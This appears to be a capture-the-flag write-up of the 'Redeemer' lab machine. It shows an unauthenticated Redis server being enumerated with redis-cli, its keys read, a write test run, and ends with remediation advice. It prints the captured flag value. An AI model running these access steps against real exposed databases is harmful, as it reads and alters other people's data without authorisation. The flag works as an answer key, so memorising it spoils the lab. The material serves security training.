

Redeemer

#writeup

#redis

#tcp6379

OS: Linux

Difficulty: Easy

Executive summary

Redis (REmote DIctionary Server) is an in-memory database designed for quick retrieval of data, for example prices for a store or a temperature reading off a sensor. It stores data in key-value pairs, for example temperature_london:25. In this case, the server was accessible from the internet without a password, which makes it vulnerable to being taken over.

Enumeration

Scanning yields a single tcp port open, a service named Redis.

- **Open Ports:**

- * TCP 6379 - Redis

- **Notes:**

- This service is an in-memory database that is set to 6379 TCP by default. A quick web search show how to interact with the service, and then opening the help directly from the service once we access it.

Bash:

```
redis-cli -h $target -p 6379
```

```
(root@kali)-[~]
# redis-cli -h $target -p 6379
10.129.86.230:6379> help
redis-cli 8.0.6
To get help about Redis commands type:
    "help @<group>" to get a list of commands in <group>
    "help <command>" for help on <command>
    "help <tab>" to get a list of possible help topics
    "quit" to exit

To set redis-cli preferences:
    ":set hints" enable online hints
    ":set nohints" disable online hints
Set your preferences in ~/.redisclirc
10.129.86.230:6379> █
```

Exploitation

Vulnerability: Port 6379 is exposed to the internet with the possibility of remotely accessing the service.

There are quite a few commands possible, so we turn to Google to check how we can interact with the service to exfiltrate the data. We find out that listing the keyspace shows us different keys. A key is a label connected to a value. If we run:

```
INFO keyspace
```

it lists the indexed databases.

```
10.129.86.230:6379> INFO keyspace
# Keyspace
db0:keys=4,expires=0,avg_ttl=0
10.129.86.230:6379> █
```

Now we want to read those keys, and further googling shows that `SCAN *` lists the different keys:

```
10.129.86.230:6379> KEYS *
1) "numb"
2) "flag"
3) "temp"
4) "stor"
```

we then go on to read the value with `GET <key>` :

```
10.129.86.230:6379> KEYS *
1) "numb"
2) "flag"
3) "temp"
4) "stor"
10.129.86.230:6379> GET numb
"bb2c8a7506ee45cc981eb88bb81dddab"
10.129.86.230:6379> GET flag
"03e1d2b376c37ab3f5319922053953eb"
10.129.86.230:6379> GET temp
"1c98492cd337252698d0c5f631dfb7ae"
10.129.86.230:6379> GET stor
"e80d635f95686148284526e1980740f8"
10.129.86.230:6379> █
```

The flag is of course our desired goal this time.

Just to push a little further, we should also check if we have write permissions:

```
(root@kali)~# redis-cli -h $target -p 6379
10.129.86.245:6379> set temperature "22"
OK
10.129.86.245:6379> KEYS *
1) "temp"
2) "flag"
3) "temperature"
4) "numb"
5) "stor"
10.129.86.245:6379> GET temperature
"22"
10.129.86.245:6379> █
```

We see that we do and that we created a key-value pair of temperature:22.

Loot & Flags

- **Flag:** 03e1d2b376c37ab3f5319922053953eb

Remediation / Suggestion

A database that is exposed to the internet without a password is a very big risk. Administrator should bind the service exclusively to localhost or a specific internal ip-address so it is not exposed to the internet. By default Redis has no password and as an additional layer the administrator should use the `requirepass` setting to prevent server hijacking.